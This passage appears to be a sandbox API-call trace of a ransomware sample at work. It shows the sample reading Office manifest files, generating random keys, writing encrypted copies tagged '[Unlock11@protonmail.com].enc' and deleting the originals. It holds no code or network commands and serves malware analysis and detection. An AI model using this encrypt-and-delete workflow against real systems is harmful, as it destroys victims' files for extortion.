hTemplateFile=0x0) returned 0x39c [0134.518] GetFileType (hFile=0x39c) returned 0x1 [0134.518] GetLastError () returned 0x0 [0134.519] GetCurrentThreadId () returned 0x9b0 [0134.519] GetLastError () returned 0x0 [0134.519] GetFileType (hFile=0x39c) returned 0x1 [0134.519] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.519] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.519] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.519] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.519] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.519] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.519] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.519] GetLastError () returned 0x0 [0134.519] GetCurrentThreadId () returned 0x9b0 [0134.519] GetLastError () returned 0x0 [0134.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0134.520] GetLastError () returned 0x0 [0134.520] GetLastError () returned 0x0 [0134.520] GetLastError () returned 0x0 [0134.520] GetLastError () returned 0x0 [0134.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.520] GetLastError () returned 0x0 [0134.521] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.521] GetFileType (hFile=0x3ac) returned 0x1 [0134.521] GetLastError () returned 0x0 [0134.521] GetCurrentThreadId () returned 0x9b0 [0134.521] GetLastError () returned 0x0 [0134.521] GetFileType (hFile=0x3ac) returned 0x1 [0134.521] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.522] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.522] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.522] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.522] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.522] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.522] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.522] GetLastError () returned 0x0 [0134.522] GetCurrentThreadId () returned 0x9b0 [0134.522] GetLastError () returned 0x0 [0134.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6588 | out: hHeap=0x2ad0000) returned 1 [0134.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d00d8 | out: hHeap=0x2ad0000) returned 1 [0134.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.523] GetLastError () returned 0x0 [0134.523] GetLastError () returned 0x0 [0134.523] GetCurrentThreadId () returned 0x9b0 [0134.523] GetLastError () returned 0x0 [0134.523] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.523] GetLastError () returned 0x0 [0134.523] GetLastError () returned 0x0 [0134.523] GetCurrentThreadId () returned 0x9b0 [0134.523] GetLastError () returned 0x0 [0134.523] GetLastError () returned 0x0 [0134.525] GetLastError () returned 0x0 [0134.525] GetCurrentThreadId () returned 0x9b0 [0134.525] GetLastError () returned 0x0 [0134.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5c8) returned 0x358d058 [0134.525] GetCurrentThreadId () returned 0x9b0 [0134.525] GetLastError () returned 0x0 [0134.526] GetLastError () returned 0x0 [0134.526] GetLastError () returned 0x0 [0134.526] GetLastError () returned 0x0 [0134.526] GetCurrentThreadId () returned 0x9b0 [0134.526] GetLastError () returned 0x0 [0134.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x358d058 | out: hHeap=0x2ad0000) returned 1 [0134.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0134.526] GetLastError () returned 0x0 [0134.526] GetLastError () returned 0x0 [0134.526] GetCurrentThreadId () returned 0x9b0 [0134.527] GetLastError () returned 0x0 [0134.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x358d660 | out: hHeap=0x2ad0000) returned 1 [0134.527] GetLastError () returned 0x0 [0134.527] GetLastError () returned 0x0 [0134.527] GetCurrentThreadId () returned 0x9b0 [0134.527] GetLastError () returned 0x0 [0134.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8b18 | out: hHeap=0x2ad0000) returned 1 [0134.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.527] GetLastError () returned 0x0 [0134.528] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.528] CloseHandle (hObject=0x3ac) returned 1 [0134.529] GetLastError () returned 0x0 [0134.529] GetCurrentThreadId () returned 0x9b0 [0134.529] GetLastError () returned 0x0 [0134.529] GetLastError () returned 0x0 [0134.529] CloseHandle (hObject=0x39c) returned 1 [0134.529] GetLastError () returned 0x0 [0134.529] GetCurrentThreadId () returned 0x9b0 [0134.529] GetLastError () returned 0x0 [0134.529] GetLastError () returned 0x0 [0134.530] GetLastError () returned 0x0 [0134.530] GetLastError () returned 0x0 [0134.530] GetLastError () returned 0x0 [0134.530] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1 [0134.531] GetLastError () returned 0x0 [0134.531] GetCurrentThreadId () returned 0x9b0 [0134.531] GetLastError () returned 0x0 [0134.531] GetCurrentThreadId () returned 0x9b0 [0134.531] GetLastError () returned 0x0 [0134.531] GetLastError () returned 0x0 [0134.531] GetLastError () returned 0x0 [0134.531] GetLastError () returned 0x0 [0134.532] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.532] GetCurrentThreadId () returned 0x9b0 [0134.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.532] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.532] GetLastError () returned 0x0 [0134.532] GetLastError () returned 0x0 [0134.532] GetLastError () returned 0x0 [0134.533] GetLastError () returned 0x0 [0134.533] GetCurrentThreadId () returned 0x9b0 [0134.533] GetLastError () returned 0x0 [0134.533] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.533] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.533] GetLastError () returned 0x0 [0134.533] GetLastError () returned 0x0 [0134.533] GetLastError () returned 0x0 [0134.533] GetLastError () returned 0x0 [0134.533] GetCurrentThreadId () returned 0x9b0 [0134.533] GetLastError () returned 0x0 [0134.533] GetCurrentThreadId () returned 0x9b0 [0134.534] GetLastError () returned 0x0 [0134.534] GetLastError () returned 0x0 [0134.534] GetLastError () returned 0x0 [0134.534] GetLastError () returned 0x0 [0134.534] GetCurrentThreadId () returned 0x9b0 [0134.534] GetLastError () returned 0x0 [0134.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.534] GetLastError () returned 0x0 [0134.534] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6528 | out: hHeap=0x2ad0000) returned 1 [0134.534] GetLastError () returned 0x0 [0134.535] GetLastError () returned 0x0 [0134.535] GetLastError () returned 0x0 [0134.535] GetCurrentThreadId () returned 0x9b0 [0134.535] GetLastError () returned 0x0 [0134.535] GetLastError () returned 0x0 [0134.535] GetLastError () returned 0x0 [0134.535] GetLastError () returned 0x0 [0134.535] GetLastError () returned 0x0 [0134.535] GetCurrentThreadId () returned 0x9b0 [0134.535] GetLastError () returned 0x0 [0134.535] GetCurrentThreadId () returned 0x9b0 [0134.535] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0134.536] GetLastError () returned 0x0 [0134.536] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.536] GetLastError () returned 0x0 [0134.563] GetLastError () returned 0x0 [0134.563] GetLastError () returned 0x0 [0134.563] GetCurrentThreadId () returned 0x9b0 [0134.563] GetLastError () returned 0x0 [0134.563] GetLastError () returned 0x0 [0134.563] GetLastError () returned 0x0 [0134.563] GetLastError () returned 0x0 [0134.563] GetLastError () returned 0x0 [0134.563] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0134.563] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x834ab261, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.564] GetLastError () returned 0x0 [0134.564] GetCurrentThreadId () returned 0x9b0 [0134.564] GetLastError () returned 0x0 [0134.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.564] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b2dc | out: pbBuffer=0x366b2dc) returned 1 [0134.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0134.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a2ea0 [0134.564] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0134.564] GetCurrentThreadId () returned 0x9b0 [0134.564] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.565] GetLastError () returned 0x0 [0134.565] GetLastError () returned 0x0 [0134.565] GetLastError () returned 0x0 [0134.565] GetLastError () returned 0x0 [0134.565] GetCurrentThreadId () returned 0x9b0 [0134.565] GetLastError () returned 0x0 [0134.565] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.565] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.565] GetCurrentThreadId () returned 0x9b0 [0134.565] GetLastError () returned 0x0 [0134.565] GetLastError () returned 0x0 [0134.566] GetLastError () returned 0x0 [0134.566] GetLastError () returned 0x0 [0134.566] GetCurrentThreadId () returned 0x9b0 [0134.566] GetLastError () returned 0x0 [0134.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.566] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65b8 [0134.566] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2ea0 | out: hHeap=0x2ad0000) returned 1 [0134.566] GetLastError () returned 0x0 [0134.566] GetLastError () returned 0x0 [0134.566] GetLastError () returned 0x0 [0134.566] GetLastError () returned 0x0 [0134.567] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.567] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d66a8 [0134.567] GetLastError () returned 0x0 [0134.567] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.567] GetFileType (hFile=0x39c) returned 0x1 [0134.574] GetLastError () returned 0x0 [0134.574] GetCurrentThreadId () returned 0x9b0 [0134.574] GetLastError () returned 0x0 [0134.574] GetFileType (hFile=0x39c) returned 0x1 [0134.575] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.575] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.575] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.575] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.575] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.575] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.575] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.575] GetLastError () returned 0x0 [0134.575] GetCurrentThreadId () returned 0x9b0 [0134.575] GetLastError () returned 0x0 [0134.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.575] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6348 | out: hHeap=0x2ad0000) returned 1 [0134.576] GetLastError () returned 0x0 [0134.576] GetLastError () returned 0x0 [0134.576] GetLastError () returned 0x0 [0134.576] GetLastError () returned 0x0 [0134.576] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.576] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d65e8 [0134.576] GetLastError () returned 0x0 [0134.576] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.577] GetFileType (hFile=0x3ac) returned 0x1 [0134.577] GetLastError () returned 0x0 [0134.577] GetCurrentThreadId () returned 0x9b0 [0134.577] GetLastError () returned 0x0 [0134.577] GetFileType (hFile=0x3ac) returned 0x1 [0134.577] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.577] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.577] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.577] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.577] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.578] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.578] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.578] GetLastError () returned 0x0 [0134.578] GetCurrentThreadId () returned 0x9b0 [0134.578] GetLastError () returned 0x0 [0134.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cfa18 | out: hHeap=0x2ad0000) returned 1 [0134.578] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0134.578] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0134.578] GetLastError () returned 0x0 [0134.578] GetLastError () returned 0x0 [0134.578] GetCurrentThreadId () returned 0x9b0 [0134.578] GetLastError () returned 0x0 [0134.579] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.579] GetLastError () returned 0x0 [0134.579] GetLastError () returned 0x0 [0134.579] GetCurrentThreadId () returned 0x9b0 [0134.579] GetLastError () returned 0x0 [0134.579] GetLastError () returned 0x0 [0134.581] GetLastError () returned 0x0 [0134.581] GetCurrentThreadId () returned 0x9b0 [0134.581] GetLastError () returned 0x0 [0134.581] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.581] GetCurrentThreadId () returned 0x9b0 [0134.581] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3827950 [0134.581] GetLastError () returned 0x0 [0134.581] GetLastError () returned 0x0 [0134.582] GetLastError () returned 0x0 [0134.582] GetLastError () returned 0x0 [0134.582] GetCurrentThreadId () returned 0x9b0 [0134.582] GetLastError () returned 0x0 [0134.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827950 | out: hHeap=0x2ad0000) returned 1 [0134.582] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.582] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.582] GetLastError () returned 0x0 [0134.582] GetLastError () returned 0x0 [0134.582] GetCurrentThreadId () returned 0x9b0 [0134.582] GetLastError () returned 0x0 [0134.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3828e70 | out: hHeap=0x2ad0000) returned 1 [0134.583] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.583] GetLastError () returned 0x0 [0134.583] GetLastError () returned 0x0 [0134.583] GetCurrentThreadId () returned 0x9b0 [0134.583] GetLastError () returned 0x0 [0134.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.583] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.584] GetLastError () returned 0x0 [0134.585] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.585] CloseHandle (hObject=0x3ac) returned 1 [0134.585] GetLastError () returned 0x0 [0134.585] GetCurrentThreadId () returned 0x9b0 [0134.585] GetLastError () returned 0x0 [0134.585] GetLastError () returned 0x0 [0134.585] CloseHandle (hObject=0x39c) returned 1 [0134.585] GetLastError () returned 0x0 [0134.585] GetCurrentThreadId () returned 0x9b0 [0134.585] GetLastError () returned 0x0 [0134.586] GetLastError () returned 0x0 [0134.586] GetLastError () returned 0x0 [0134.586] GetLastError () returned 0x0 [0134.586] GetLastError () returned 0x0 [0134.586] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1 [0134.587] GetLastError () returned 0x0 [0134.587] GetCurrentThreadId () returned 0x9b0 [0134.587] GetLastError () returned 0x0 [0134.587] GetCurrentThreadId () returned 0x9b0 [0134.587] GetLastError () returned 0x0 [0134.587] GetLastError () returned 0x0 [0134.587] GetLastError () returned 0x0 [0134.588] GetLastError () returned 0x0 [0134.588] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.588] GetCurrentThreadId () returned 0x9b0 [0134.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0134.588] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0134.588] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.588] GetLastError () returned 0x0 [0134.588] GetLastError () returned 0x0 [0134.589] GetLastError () returned 0x0 [0134.589] GetLastError () returned 0x0 [0134.589] GetCurrentThreadId () returned 0x9b0 [0134.589] GetLastError () returned 0x0 [0134.589] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.589] GetCurrentThreadId () returned 0x9b0 [0134.589] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.589] GetLastError () returned 0x0 [0134.589] GetLastError () returned 0x0 [0134.589] GetLastError () returned 0x0 [0134.590] GetLastError () returned 0x0 [0134.590] GetCurrentThreadId () returned 0x9b0 [0134.590] GetLastError () returned 0x0 [0134.590] GetLastError () returned 0x0 [0134.590] GetLastError () returned 0x0 [0134.590] GetLastError () returned 0x0 [0134.590] GetLastError () returned 0x0 [0134.590] GetCurrentThreadId () returned 0x9b0 [0134.590] GetLastError () returned 0x0 [0134.590] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.590] GetLastError () returned 0x0 [0134.591] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0134.591] GetLastError () returned 0x0 [0134.591] GetLastError () returned 0x0 [0134.591] GetLastError () returned 0x0 [0134.591] GetCurrentThreadId () returned 0x9b0 [0134.591] GetLastError () returned 0x0 [0134.591] GetCurrentThreadId () returned 0x9b0 [0134.591] GetLastError () returned 0x0 [0134.591] GetLastError () returned 0x0 [0134.591] GetLastError () returned 0x0 [0134.591] GetLastError () returned 0x0 [0134.591] GetCurrentThreadId () returned 0x9b0 [0134.592] GetLastError () returned 0x0 [0134.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0134.592] GetLastError () returned 0x0 [0134.592] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.592] GetCurrentThreadId () returned 0x9b0 [0134.592] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa)) returned 1 [0134.592] GetCurrentThreadId () returned 0x9b0 [0134.592] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b32c | out: pbBuffer=0x366b32c) returned 1 [0134.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0134.593] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0134.593] GetCurrentThreadId () returned 0x9b0 [0134.593] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.593] GetCurrentThreadId () returned 0x9b0 [0134.593] GetCurrentThreadId () returned 0x9b0 [0134.593] GetCurrentThreadId () returned 0x9b0 [0134.593] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) 